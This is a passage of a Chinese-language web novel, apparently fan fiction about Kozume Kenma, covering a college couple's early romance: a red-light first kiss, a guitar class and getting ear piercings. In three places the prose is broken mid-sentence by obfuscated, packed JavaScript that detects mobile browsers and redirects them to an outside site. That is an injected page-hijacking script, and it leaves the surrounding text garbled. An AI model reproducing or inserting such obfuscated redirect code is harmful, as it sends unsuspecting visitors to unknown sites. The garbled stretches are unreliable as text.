“这种事情还是看天赋吧。”他笑起来,眼睛弯弯得与月牙并无二致。 我在心脏喧嚣的鼓点中猛然低下头,专心致志地盯着大福上月牙一样的牙印。 研磨笑的次数好像比过去更多了,该不会我一见他笑就会愣神的弱点被他识破了吧。 把内馅充足的两个大福一扫而空,我总算恢复了淡定:“店长大叔扩张了吗,分店都开到东大附近了。” “这个啊。”他漫不经心地吃完最后一口苹果味大福,“我和大叔商量了一下,多开了几所分店,现在日本大概有十家左右吧。” 原来是分店啊,我了然地点点头。 ...... “哈?!” 有的人还在当打工人,而同龄人已经合伙开起了连锁店吗,难道说研磨是天选金融人? 我郑重其事地握住研磨的手:“拜托了,请务必让我在这里打工。” 他的视线落在交握的手上,慢悠悠地说:“这件事恐怕不行。” 连当打工人的机会都不给了吗,我幽幽地露出蛋花眼。 “因为投资的钱是用和千流共同攒下的积分换的。” 啊嘞。 “但积分不是都被花光了吗?”我疑惑。 “你走了之后。”他一顿,“那个阎王又来找了我一次,除了兑换奖励,还问我想要怎么处理那些仓库里的食物。” 我联想到积少成多的足够我和研磨在末世生存的囤货,讪讪地眨眨眼。 我也没想到攻略成功的日子那样突如其然地到来。 否则我一定会提前把它们吃完的! “我一个人也吃不完,所以换成钱了。”他轻快地按了一阵屏幕,“根据这几年的收益,这是应该给千流的分成。” 白花花的数字映入眼帘。 “研磨不会是唬我,故意多算了吧。” “多算你也不会收。” 对于大学生来说,这简直是一笔天降横财,我突然想到了什么:“还有道具。” “道具?” 研磨看起来完全忘记了这回事,我愤愤:“那个可恶的...阎王,道具也应该可以折现吧,私吞了我们一大笔资产。” 一种好像不用奋斗了的茫然感侵袭了我的头脑。 “...要不研磨还是让我打工吧。” “......” “千流的脑回路真的和一般人不一样。” 走到甜品店的门口,研磨抬头望了眼大大的灯牌。 我戳了戳他的手臂:“在想什么呢?” 他摩挲着下巴,若有所思地眨眨眼,突然拉进了和我的距离。 微凉的指尖贴上我的脸颊,轻轻地戳了一下,一触即离。 即使是侧身掩面,宽松的卫衣也难掩身形的微颤。 我疑惑地看向巨大的金鱼灯牌,又捏了捏自己的脸颊。 搞不懂,研磨这家伙到底在笑什么。 我穷追猛打:“到底为什么笑个不停啊,研磨。” “抱歉。”他的身板挺得笔直,“要是说出来的话会被千流揍吧。” “......”我摆出危险的神情,碰了碰拳头,“当谜语人更容易挨揍。” “那我说了?” 我点头示意。 “...鲲。”他发动了不合时宜的联想能力,“鬼魂时期的千流,也和鲲一样吧。” 这家伙,居然把我和傻大鱼归为一类。 “绝交一小时。”我斩钉截铁地宣告。 “好吧。”他跟着我的步伐,“[好朋友孤爪研磨]已下线。” 怎么跟游戏下线一样。我绷紧嘴巴,维持严肃的表情,目不转睛地认真等红绿灯。 指尖被轻轻捻起,随后是指节,微凉与温热交织,分不清是来自谁的温度,最后十指紧紧地交缠在一起。 我不甘示弱地攥紧,把那只偷偷握住的[幕后黑手]牵起,展现在斑斓的灯光下。 “[孤爪研磨],不是已经下线了吗?” “是[好朋友孤爪研磨]已下线。”我发现,他好像很喜欢十指紧握,每当这种时候,或许他自己也没有意识到。 ——像只慵懒的三花猫。 灯影幢幢,光怪陆离的霓虹灯交织,奇怪的是,我只看得见那一盏。 源自他的眼眸。 “[男朋友…孤爪研磨]”这样的称呼对他来说似乎还有些拗口,总之磕磕绊绊地说了下来,“可以上线了吗?” “笨蛋。”研磨应该是第一次被人称呼[笨蛋]吧,我侧开目光,没有抽离握在一起的手,“我还以为你早就上线了。” 我本来做好了跟同为攻略高手的研磨来场现实中真刀实战的PK。 谁知[男朋友研磨]与[女朋友千流]被禁用了技能,两个人像呆傻的企鹅二人组,误入喧嚣的人潮,除了握紧彼此的手,好像不知道下一步该怎样行动。 我绞尽脑汁,从丰富的理论经验里开始挖掘情侣第一天该干些什么。 ——我居然没走过几条正经的攻略路线,和游戏角色确认关系的第一天就是双死的轰轰烈烈的结局。 我认真地看向研磨:“我们两个可要注意交通安全。” 他好像也一幅若有所思的样子,完全没有吐槽我这槽点一堆的话。 在一起第一天可以kiss吗? 这样会不会被觉得很轻浮…35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271433|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > kiss的话,按道理应该先亲脸颊,这样对方会觉得被尊重,一上来就亲嘴的话显得急吼吼的。 我抽出手,拍了拍自己浮想联翩的脑袋瓜,叫停了天马行空的思绪。 刚刚没有注意,人流已经十分稀少,我环顾四周,只知道在一座大桥的下方,我们在红灯前停下了脚步。 “这是送千流回家的另一条路。” “我都没来过这里呢。” 总觉得,突然变得拘谨起来了。 我小心翼翼地抬眼,视线与研磨的交织,在相视的三秒后,两人纷纷垂下脑袋低笑。 旁边戴着耳机的路人好像被吓了一大跳,总之他掉了个头绕路而行。 “喂,研磨,我们好像把别人吓跑了。” “要赶上去道歉吗?” “他好像已经跑没影了。” 不知所措的感觉好像消散了些。 一步、两步。 我悄悄地挪动脚步,直到手臂也紧紧地贴合在一起,我自以为天衣无缝地完成了这一系列复杂的动作。 我暗自在心里给自己点了个赞。 这里的红灯好像格外地长,但我和研磨不紧不慢地等在路灯下。 灯光下,梧桐叶的叶片闪烁着焦糖的光泽,晚风轻拍树叶,像纸鹤振翅一般。 我听着风声,突然牵着他的手晃了晃,笑盈盈着:“我之前,走在路上总会天马行空地想一些事。” “比如梧桐树的叶子在秋天色泽很像焦糖。” “银杏果的味道并不好闻,像臭鸡蛋。” “这点我赞同。” “感觉……和研磨这样漫无目的地走在大街上,好像也不赖。” 我和研磨,大概都是追求[有趣]的那类人,喜欢新奇的体验,喜欢自由自在的感觉,喜欢争分夺秒地,把每一秒都拿去追逐让人好奇的事物。 [和千流在一起,那些事情也会变得有趣。] 这样的话语又浮现在我的耳畔,我迎着莹白色的灯光抬起头:“想和研磨一起,把所有的事情变得有趣。” 这就是,我的告白。 好像有些晦涩难懂。 温热的掌心托住了我的脸颊,我下意识闭起了眼睛,莹白色的灯光被他的身影挡住,视线昏昏暗暗,听觉却被无限地放大,不知道跃动的是谁的心脏,传来的是谁的呼吸声。 一片梧桐叶轻颤地落在了我的眼角。 我睁开眼,他不好意思地抬起头,像在数梧桐树有多少片叶子。 我拽住研磨卫衣的两根细绳,踮起脚,把深蓝色卫衣的帽子盖在他的头上,狡黠地笑了下,稍微使劲,研磨怔愣地低下头。 拜托!亲脸颊的声音为什么这么响啊! 我看着久久不动的红灯,好想从地底下打个洞,然后变身成地鼠,从洞里钻到马路的另一侧。 他把我的卫衣帽子也戴上,我顺其自然地缩成一团不再说话。 “千流——真是吓我一大跳。” 就算研磨这么说,一点点的得意也很难缓解我的尴尬之情。 “什么时候能再次看到千流,难道千流以后一辈子都要躲在帽子下面吗。” “明天。”我今天很难见人。 “好吧。”他好像很遗憾的样子。 “这破信号灯是不是坏了。”我咬牙切齿。 “唔……”他走到旁边,轻巧地按了一下,“哇,是按钮式信号灯。” “有没有人告诉过研磨,你[哇]的语气和演技都超烂。” 他绝对、绝对早就发现了这是按钮式信号灯。 ——这次一定会跟他绝交一晚上。 拽着研磨的手大步往前走的江千流如是说道。 49.捉狐狸注意事项 04 * 国内的学校大多在九月份开学。 于是,继听星愿抱怨将近一个月的[小组作业]后,我在第一堂专业课,也迎来了属于自己的小组作业。 还是自己组队的那一类。 我一边拍下作业要求,一边悄悄观察班上的众人,即便是刚开学,也有的人已经熟络地坐在一起说话了,比方说我前面的这两位...... 正当着我托着下巴思索该怎样主动出击寻找合适的组员时,茶色长发的女孩突然转过头。 她戴着大大的黑色镜框,眼睛的左下方有颗小痣。 “我叫江户川千鹤。” 按理来说,这时候都该报上自己的姓名,但我深受童年霓虹动漫的影响,脱口而出:“...是个侦探?” 藏在黑色镜框下的眼睛茫然地扑闪了两下,旋即她反应过来,爽朗地笑着:“很遗憾,和江户川柯南没什么关系,我们先加个line吧。” 我点点头,与她交换了line。 [千鹤:你是中国人吗?] [千流:是因为我的日语不够流利吗?] [千鹤:没有啦,就是有种中国人的气质,看起来数学就特别好] 我打字的手一顿,果然是外国人对中国人的刻板印象吗。 [千流:其实没有的,对了,我叫江千流,可以叫我千流] [千鹤:好哦千流,老师说小组作业三个人一组,要不我们来组队吧] [千鹤:我和我哥的态度都很好的,绝对按时完成任务] 千鹤怼了一下身边的男子,即使压低音量,身为他们的后桌,我还是把千鹤说的话听得一清二楚。 “笨蛋老哥,赶紧转过去打招呼。” 千鹤的哥哥不好意思地转过头跟我挥手问好。 [千流:你们俩关系真好] [千鹤:...哈哈,我哥叫江户川原野,他的名字不重要,千流记不记得住都无所谓] 我微妙地感受到了那三个句号传达的“嫌弃”的意味。或许这就是大部分兄妹的相处方式? 不过光看长相,我以为千鹤是那种文学少女的类型,没想到做起事来雷厉风行。 反倒是她的哥哥,虽然个子比千鹤高了一头,但性格好像很腼腆。 [千鹤:我先拉个小群吧。] [千流:大拇哥jpg.] 短短一节课,我们已经初步建立了小组作业的整体框架和分工。 ——也没有星愿说得那么夸张嘛。 消息栏弹出新的通知。 [焦糖布丁emoji:是108教室吗?] [千流:送你一个大拇哥jpg.] 研磨盯着千流发来的抽象表情包,感觉还需要一段时间才能适应来自华夏的抽象文化。 [焦糖布丁emoji:可能会晚点到] [千流:没问题,我顺便跟小组成员留下来讨论一会作业] * “要不这一部分改成......”千鹤内向的哥哥总算渐渐在讨论里分享自己的见解,我认真分析一番,“非常不错的想法!这么做的话前面的难题就能迎刃而解了。” 霓虹的文化好像不大适应这么直白的夸赞,千鹤瞥了原野一眼,摆手:“哪有千流夸得那么夸张。” “要一起去吃午饭吗,千流?” “今天不大行...”一大杯黑糖奶茶出现在我的视线中,顺着杯盖上修长的手看去,穿着牛仔外套的帅气猫猫闪亮登场,“谢谢研磨,稍微等一下。” 我接着和千鹤解释:“今天要和我男朋友一起去吃午饭,改天再约吧。” “那我们先走了?” “没问题。”千鹤朝我比了个OK的手势。 我背起早已收拾好的挎包,热乎乎的黑糖奶茶烘烤着有些发凉的手。 “研磨晚到是因为买奶茶吗?” “嗯。” 我若有所思地打量着他的穿搭,慢悠悠地凑近:“研磨昨天晚上问我穿什么,该不会就是准备和我穿情侣装吧。” “喂,研磨,怎么不说话。”我坏心思地追问。 他利落地完成了拉开我的挎包,从中拿出我的遮阳帽,扣在我的脑袋上这一系列的动作。 “戴帽子也没办法封印我的嘴巴。” 教学楼门口的长阶上,他突然停住了脚步,我还没来得及收起得意洋洋的笑容,转过身问他怎么了。 他弯下腰,掀起帽檐的一角,掠过我额前的刘海,垂眸专注地与我对视。 牛仔裙的衣角被我攥得发皱。 身畔经过的人都自动地变得轻声细语起来,我感受到来自他人善意的目光。 他轻笑着松开手,帽檐落了下来,帽顶上,一只手拍了拍我的脑袋。 “封印成功。” 我恶狠狠地吸了一大口黑糖珍珠奶茶,默不作声地决定下次一定要让研磨被惊得说不出一句话。 校园外的小吃街,憨厚可掬的大叔乐呵呵地做着章鱼烧,我接过他递来的章鱼烧,大叔多给了两颗,还未等我开口,他手里撒料的动作不停:“你们是来东大参观的高中生吧。” “大叔给你们多加两个,祝你们考上东大。” 我和研磨默契地不语,我垂着脑袋,打量自己这身牛仔裙,正中央绣着的太阳花好像在咧着嘴对我笑。 “我们俩看起来这么像没有成年的高中生吗?” “大叔是夸我们长得年轻。” 我叹为观止,还是研磨擅长自己哄自己。 * 另一边,学校的食堂里,千鹤和原野面对面坐着。 “我说哥,你别这么灰头土脸的,不就是一见钟情的对象已经有男朋友了吗,还有,你前面装好好少年的样子真的太可怕了,光是回想我就吃不下饭。” 作为双胞胎,千鹤一眼就能看出原野在想什么,于是撺掇着他坐到千流的前面。 谁知道自己哥哥怂得要命,还需要自己出手。 ——到头来是自己跟千流加了line。 “boke千鹤,不安慰就算了,还这么冷嘲热讽。” 千鹤放心地舒了一口气:“你还是这种反应正常一点。” 她挖了一大勺咖喱饭,出乎意料的美味:“不过千流真是一个很有意思的女孩,谢谢哥啦,让我交了个新朋友。” 原野幽幽地凝视着自己的妹妹。 千鹤一边大快朵颐,一边回想:“我早就注意到教室门口有一个金 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15288779|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发帅哥了,我们前面小组讨论的时候,他一直在外面等着。” 千鹤看向自己的傻大个哥哥:“绝对是哥哥你表现太明显,被人家发现了。” “什么啊。”原野嘟囔,“我可是没说几句话。” “说不定人家就是很擅长观察的类型啊。”千鹤分析,“反正就是在你说了几句话后,他才从门口走进来,我绝对没有看错。” 恋情火苗刚刚燃起就被熄灭的原野恹恹地吃着饭。 双胞胎妹妹千鹤安慰:“虽然哥哥你的外貌只有三分之一像我,但也够用了,不要气馁!” “......” “你这算哪门子安慰啊!” * “对了千流。”研磨一脸黑线,“我说我谈恋爱之后,小黑那家伙吵着要认识你。” 说起来,我也很久没有见过小黑了。 “完全没问题!” 小黑也是我看着长大的孩子啊,我一时出神地想。 研磨捏了捏我的手,把我的思绪拽回:“见面的时候,千流还是不要露出这种表情了。” 我困惑:“什么表情?” “像看着小黑长大的长辈一样,一脸慈爱的表情,小黑那家伙绝对会刨根问底。” 我拍了拍自己的脸,保证会做好表情管理。 研磨也没有与人合租,我们的公寓还算顺路,都在离东大不远的地方,上完早上的课还来得及回公寓午休。 躲在梧桐树荫下,秋日温和的阳光断断续续地透过树叶的缝隙为我们织就影子。 我懒洋洋地打了个哈欠,和研磨在公寓楼下告别。 一个人坐上电梯,液晶屏幕闪烁着上升的楼层数,没过多久,就到了我的楼层。 输入密码,密码锁应声开启,我按下入户门处的开关,房间变得亮堂堂的。 茶几上的花瓶插着新鲜的花,是昨天晚上研磨突然送给我的,我跃进软乎乎的沙发,盯着那几朵花傻乎乎地笑了一会,余光里某只金鱼吐泡泡刷着存在感。 我抱起装着鲲的小鱼缸:“你又饿了吗?” 它摆摆尾巴,表明完全不是这个意思。 我耐心分辨它身体的朝向,发现它直直地盯着那些花束。 灵光一闪的我放下鱼缸:“哎,原来鲲你也想要别人送你鲜花吗,不要伤心,虽然没有小金鱼给你送,我今天回家前给你带一点可以放在水里的装饰植物,怎么样?” “还是说你也想要找只金鱼女朋友了?” 鲲决定用尾巴对着饲养员,来传递自己的心情。 ——它只是觉得对着鲜花傻笑的人类太过呆傻了,于是为自己的生存环境感到忧虑。 毕竟金鱼族的前辈曾跟它们科普过,有的人类一旦谈起恋爱,就会忘记给金鱼喂食。 不过它的饲主看起来只是变傻了一些,还未到疏于职守的地步。 躺在沙发上浏览着手机,我隐隐约约觉得自己忽略了某些事情。 自从研磨和我说小黑打算跟我认识之后,这种感觉愈演愈烈,直觉告诉我,如果想不起来的话一定会有什么不可挽回的后果。 我蹂.躏手中的抱枕,盘腿苦思冥想。 ——我忘记告诉星愿我谈恋爱了!!! 50.捉狐狸注意事项 05 * “玩游戏认识的?” 在全息游戏里认识的,勉强也算在游戏里认识的…吧? “这种事情发生在千流身上反而还蛮好接受的。”她很心大地接受了我的说辞,“但是,居然在这么晚才告诉我!” 我已做好了迅速滑跪的准备,电话那头传来陌生的声音,隐隐约约大概是跟星愿说该去上课了。 她回了句“马上”,对着电话这端的我说道:“下次找你算账哦。” 我把脑袋搭在大兔子玩偶的头上,摆弄它的耳朵:“好哦。” “嘟嘟”的忙音传来,我放下电话,和兔子玩偶面面相觑着。 ——说起来,当初星愿决定住宿,把所有人都吓了一大跳。 我过去一向以为她会抵制这种集体生活。 “试一下又没什么。”她说,“要是不适应的话就退宿呗。” 但是现在看来她适应的还不错。 我把兔子竖起来的耳朵并拢,盯着它的纽扣眼睛出神,随后长叹一声: “这种家里孩子长大了又欣慰又酸涩的心情到底是为什么啊!” * 结果还是没有午睡。 牛仔衣二人组在千流公寓楼下会面了。 我连连打着哈欠,不时地揉一揉眼睛。 “千流没有午休吗?” “跟星愿打了个电话,然后感觉反正也睡不了多久了,干脆坐起来玩,研磨呢?” “通关了y家新发售的游戏。” “哈?我才刚买到呢,千万不要跟我剧透。” 所以说,到头来两个人都没有睡觉。 我不紧不慢地走着,突然脑洞大开:“研磨,你说我俩要是住一块,是不是都不用睡觉了。” 他脚步一顿,慌乱地轻咳两声:“为什么这么说?” 我兴奋:“按照我们的性格,绝对会打游戏到天亮吧!” 他露出了“果然如此的表情”,懒洋洋地打了个哈欠:“或许?” 这是什么模棱两可的答案啊。 下午第一节课是全校公共课,顾名思义,不限年级和专业都能选修,也是我和研磨的课表唯一重叠的课程。 是艺术板块的吉他课程。 在这里不免要感叹一下东大的财力,虽然是五十个人的小班课,但免费给所有人都配备了吉他,只需要在结课后归还给学校就行。 老师的头顶扎了个小啾啾,还是渐变绿,酷似刚钻出土里的小草。 我费了好大功夫才让视线从他那一摇一摆的小草上挪开。 和霓虹漫画里的热血教师一样,他利落地在黑板上写下自己的名字,高桥长野。 “大家叫我高桥老师就好。” 随后,他揭开黑板下方红色的长布,五十多把款式各异的吉他映入眼帘。 “来选择你们心仪的吉他吧!” 虽说是入门课,但几乎没有我这样完全没学过吉他的人,大多数人都自带了吉他。 于是,寥寥无几的人顶着众人的目光踏上讲台。 研磨没怎么犹豫就选了一个黄黑配色的吉他,焦糖布丁与焦糖布丁吉他的神奇组合诞生了。 我却被花花绿绿的吉他迷了眼,一时有些犯难。 “是不是觉得每一把吉他都很好看,都想要。” 我点头。 “现在,倾听你内心的声音,闭上眼。” 我乖乖闭眼。 “仔细听,某一处的吉他正在召唤你。” 召唤吗,我攥紧拳头去感知。 “现在,睁开眼,走向和你签订契约的吉他。” 我睁开眼,其余的吉他在我眼中犹如浮云,唯有一把蔚蓝色的吉他静静地屹立在那里。 我毫不犹豫地把它抱起。 “恭喜你,选到了命中注定的吉他。” “我才是,谢谢您的指引。”我万分感谢地伸出手,抬头一看,渐变色的小草很有存在感。 ——原来刚刚给我配音的是高桥老师吗! 某只研磨虽然还在等我,但是俨然已经缩到了教室的角落。 即使是躲在阴影里,我鹰一般的双眼还是看到了研磨在偷笑,手中握着的手机也非常有存在感。 我赶忙抱着我命中注定的吉他跑下讲台。 “喂,不要再看了。” 研磨还在看刚刚拍的视频。 我凑过脑袋,这种东西到底有什么好看的。 只见他的摄像头对准了我与老师,看得出来研磨的运镜水平不错,时不时给我攥紧的双拳来个特写,只是镜头微微的晃动暴露了拍摄者笑场的事实。 我的眼睛在感知的时候皱成了>﹏<> …… 好吧,确实有点好笑。 研磨敏锐地在我即将发动攻击前关上了手机。 讲台上,老师教授着吉他谱该怎么看,持琴姿势以及音符对应的位置。 我有样学样地把右腿放在左腿上,庄重地呵护着我的吉他。 研磨轻握我的右手腕:“放松点。” 我努力地放松。 他松开手,叫我看着他,他娴熟地摆好姿势,手腕弓起,像轻盈的弧线。 我哀怨:“明明都是第一次学吉他,你为什么这么熟练。” “什么奇怪的台词。”他说,“我之前自学过一点。” “我居然不知道。” “千流又不是一直都在。”他解释,“之前喜欢的游戏周年庆,一时兴起就自学了一下吉他去投稿。” 明明很简单的词语,凑在一起却那么难以理解。 [一时兴起][自学][投稿]。 “速速交出你的YouTube账号。” “下次一定。” 研磨遮遮掩掩的样子反而让我愈发好奇。 讲台上的老师宣布进入自主练习的环节,研磨见势转移话题:“我弹一首曲子给你听,怎么样?” 拜托,我是那么容易被转移话题的人吗。 我把椅子摆正,朝向研磨,举手:“我可以点歌吗!” 扒研磨YouTube马甲的事情下次再说吧。 “别点太难的,我的水平真的不高。”他谦虚地说着。 由于是完完全全的初学者,本人难以分辨吉他曲目的难度。 “弹唱的不行。”研磨预判了我的曲目,无奈我只好重新再想。 “《Distance》怎么样?” 我打开手机,搜索着它的曲谱,还未点开网页,耳边清脆的泛音像荡开涟漪的湖面。 他低垂着头,指尖翩然跃动。 我听着静悄悄流淌的弦音,钟表被拨回不远的夏天。 坐在东京的列车上,耳机好像也碰巧循环到了这首歌,空气中蒸腾的热气让世界看起来像模糊的虚影,水雾慢慢地爬上玻璃窗。 我指尖轻点玻璃窗,难以触碰到外面的水雾,也写不了什么字,于是收回手。 “研磨也喜欢这首歌吗?” 他点头:“碰巧练过。” 我表情严肃:“过分谦虚可不好哦。” “明明弹得超好听!” 他轻拂吉他:“只有千流这么觉得吧。” “NONONO,boy。” 真是的,我转头看向高桥老师,这美式英语的腔调又是怎么一回事。 “就算是老师出马,这首歌恐怕弹得也不如你哦。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298214|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我和研磨一声不吭地注视着语气浮夸的高桥老师,他一时尴尬,轻声跟我们说:“快问问我为什么。” 我忍住笑意:“究竟是为什么呢,老师。” “因为音乐,除了技巧,还要付诸感情。”他的眼睛滴溜溜地在我和研磨之间打转,“这位同学,你是哪里人?” “来自中国。” 他打了个响指:“这就对了。” “这首歌,是弹给喜欢的人听的吧,所谓distance,就是距离。” “你喜欢的人现在在哪里呢?”他看向研磨。 “身边。”他毫不犹豫地回答。 高桥老师雀跃地合掌:“Good job。” 他迈着轻快的脚步离开了。 被高桥老师一打岔,原先想着的事情都消失地无影无踪了。 我抱起吉他,潦草地拨弄了几个音,断断续续的音符算不上曲调,只是那首歌开头的音符。 “喂,研磨。” “嗯?” “我喜欢的人也在身边。”我垂着脑袋,继续弹奏着不成曲调的歌。 他也陪我像初学者一样,笨拙地弹奏着。 在“嗡嗡嗡”的声音萦绕在我们身侧接近三分钟后,我终于笑着停手。 “像苍蝇在叫。” 我们这边俨然成为了老师都不敢涉足的嘈杂领域。 研磨拉近椅子:“我来教你弹吧。” 蔚蓝色的吉他总算跌跌撞撞地摸到了音乐的旋律。 * 吉他实在是费手的乐器,我看着手指上的红印:“一直练是不是会长茧?” 我扒拉来研磨的手,比起弹吉他的茧,还是打排球留下的茧更加分明,不过它们现在都有些模糊了。 总觉得有闪烁的光点扫过我的眼睛,我向前看,是前座爆炸头的摇滚男孩,他戴着碎钻的耳钉。 我摸了摸自己空空如也的耳垂,因为一直很怕疼,所以上大学了也没有打耳洞。 “研磨。”我指了指自己的耳垂,跃跃欲试,“下课一起去打个耳洞,怎么样?” * 我目移,悄悄用余光看着研磨耳垂上的耳洞。 ——稍微有点心虚,关于耳洞打到了男朋友耳朵上这件事。 由于我一直滞留在店门口,研磨扫了眼店门的招牌:“打完耳洞它自己会合上的吧。” 我疑惑地点点头。 他拉起我的手走进了店门,对着店员说:“给我打一个左耳就好。” 比起我的瞳孔巨震,店员看起来平静多了,询问了他有没有进食,以及叮嘱了其他注意事项,消毒后拿起机器,手起刀落,还未等我说一句话,研磨的耳朵就被开了一个洞。 但过于了解彼此的弊端显现了,在我问研磨疼不疼的时候,他脸上些许的犹豫被我捕获。 我又再度开启了强大的脑补能力,一瞬间,剧痛仿佛真的爬上了我的耳朵。 他拍了拍我的脑袋,把我从脑补状态中拎出来。 “怎么走了?”我疑惑地看着他。 “今天不敢打的话,下次再来吧。” 于是,今天打耳洞的主角成了研磨。 我小心翼翼地偷看他的眼神总算被发觉,他停下脚步,不自在地碰了碰自己的耳朵。 “千流在看什么?” 银色的耳饰在研磨的耳垂上,为柔和的五官平添了几分凌厉。 意料之外地合适啊,我暗暗在心中想到。 “研磨研磨。”我郑重其事地说出我的心愿,“能漫不经心地扫我一眼吗!” “千流……” “嗯?” “是变态啊。” 被发现了! 51.捉狐狸注意事项 06 * 到头来还是打了耳洞。 影响的契机倒不是每节吉他课莫西干头发前座张扬的、变着花样的耳钉。 虽然的确很抓眼,今天他换成了黑色的吉他耳钉,缀在耳朵上,小型的微缩吉他被高桥老师大肆表扬。 他甚至为此犹豫着要不要也去打个耳洞。 让我跃跃欲试的是,说要等耳洞自动愈合的研磨,在某天摘下了银白色的耳饰,换上了黑曜石色的耳钉。 每当他的手不经意掠过头发,黑曜石衬得耳垂更加白皙,本人的眼睛很不争气地从别的地方转向那一处,又装作若无其事地挪开。 月光如练,皎洁的月光也格外钟爱那墨点,我被月光吸引,手附上他的耳垂,轻轻地捏了捏。 他像是要勾回我的注意力,呼吸扑洒在鼻尖,轻盈地落下一个吻。 ——又是脸颊。 我忍不住这么想。 要说研磨是那种格外纯情的派别,我倒不那么觉得,毕竟我也不是毫无感知力的迟钝派。 从第一次的按钮式信号灯事件,到现在迟迟不摘下的耳钉,他总是喜欢慢条斯理地布下陷阱,又暗戳戳地留下脚印等我发现。 据说猫的试探是不安的表现。 手触碰的耳垂渐渐传来热度,我收回手,一不小心多用了点劲,耳垂那块稍微有些发红。 “对不起。” 徘徊的吻也是因为不安吗? “千流的注意力完全在这个上面了。”他指了指耳饰。 我的思绪游离回研磨告白的那一天。 “我戴这个帽子的时候,千流很喜欢吧?” “手环呢?” “握着手的时候,为什么觉得不自在?” ——莫非研磨的不安是因为我的喜欢似乎都是跟xp有关的生理性喜欢? 与恋爱有关的小宇宙朝着奇奇怪怪的方向爆发,我越品越觉得自己发现了诀窍。 身为一名成熟又靠谱的恋人,必要的就是给对方安全感,那么我目前紧迫的任务就是清心寡欲起来,从而让研磨感受到我对他的喜欢不仅仅停留在外在。 我果断收回手,义正辞严地表示:“我明白了。” 千流法则一:有些东西一旦自己拥有,投射到它身上的目光就会减少。 当务之急就是要赶紧给自己钻个耳洞。 几乎是“啪啪”两声,还未等痛觉神经反应过来,两只耳朵就穿好了孔。 ——最大的恐惧果然源于未知。 * 千流不是笨蛋,在观察力方面不逊色于自己,考上东大怎么会是笨蛋呢。 孤爪研磨在心中默念三声。 打好耳洞的千流惊讶地把嘴巴张成O型,拿着圆形的手持镜,左偏偏脑袋,右偏偏脑袋,对着两个耳洞看个不停。 千流突然目光盯着手持镜,手放在下巴边缘,比了个耶。 从千流的角度,大概能看见镜子里反射的自己吧,他配合着把手放在耳畔,也回了个耶的姿势。 镜子对面的那位突然着急忙慌地反扣下圆镜。 每当遇到这种奇奇怪怪的反应,他就会觉得自己的分析系统罢了工,又或许是因为千流的脑洞和行为很难用常见的方法去分析。 比如今天,在半开玩笑说着对方的注意力完全在自己的耳钉上,设想中的[千流]大抵有两种反应。 一是爽快地应下,突破阈值后开始大摇大摆地投放目光。 二是磕磕绊绊地说着“没有这回事”,但依然口嫌体正直。 不管是哪种反应都没关系。 但偏偏是最不走寻常路的那种。 紫灰色的眼睛突然闪烁着坚定的目光,像是热血少年漫里面的主角插着腰对反派宣告——让我证明给你看吧。 他完全猜不到千流要证明什么,稀里糊涂地就被拽到了这家店,原先害怕打耳洞的人不知道哪里来的勇气,三两下就越过了恐惧,此时快乐地对着镜子观赏。 千流是不可观测的黑箱。 * “研磨是深海里的暗礁。” 星愿都不知道该怎么评价这句话:“哪有人这么说自己的男朋友的。” 我紧握手机:“你先听我说完嘛。” 我简略阐述了自己打算清心寡欲的心路历程,然而我清心寡欲道路上最大的障碍就源于我的恋爱对象。 “坦白来说,每次对上研磨的目光时,我就会有一种想法。” 我突然有些害羞,电话那端的星愿却催促我赶快说下去。 “他一定很喜欢我。” 槽多无口。 星愿默默看了眼手机上通话人的姓名,确认是自己的闺蜜无疑,她只好又把耳朵凑近。 “你男朋友不喜欢你还喜欢谁。” “有一位名人说过,当一个平时表情不怎么有波澜的人,每次看你的时候嘴角都会朝上几个像素点,那他绝对很喜欢你。” 深知千流如何在作文里捏造名言的星愿:“谁说的?” “沃兹基硕德。” “唉,星愿你还不懂。” 这句话又来了。星愿攥紧拳头,大概是过往好多年的友情让暴脾气的自己还能在这听某位女子讲话。 电话那头的声音又变轻了,千流大概翻了个身,把脑袋埋进了被子里。 “自己喜欢的人这么看着你,就会有一种冲动!” “什么?” “超级想亲他。” 这么腻歪的话还是对你男朋友讲吧。 “可是不行啊。”千流这样回答,她才注意到自己把吐槽的话说了出来。 “你的男朋友自己还不能亲了?” “这就要说到最开始那个话题了。”我叹气,“研磨就是清心寡欲千流号航线上最危险的暗礁,既然决定要证明给对方看,怎么可以这么轻易就被打败。” 首先,她完全不理解这场由千流发起的[清心寡欲]行动的意义,想必她的男朋友也并不能理解。 但是,她也不想好朋友的男朋友这么轻轻松松地就通关,一时没有任何点拨千流的想法。 千流的恋爱观本来就奇怪得很,大概是成长中从来没有父母的引导,对爱情这种东西的认知完全来源于书里的描绘。 认定的人就不会放手,这是千流眼里的爱情。 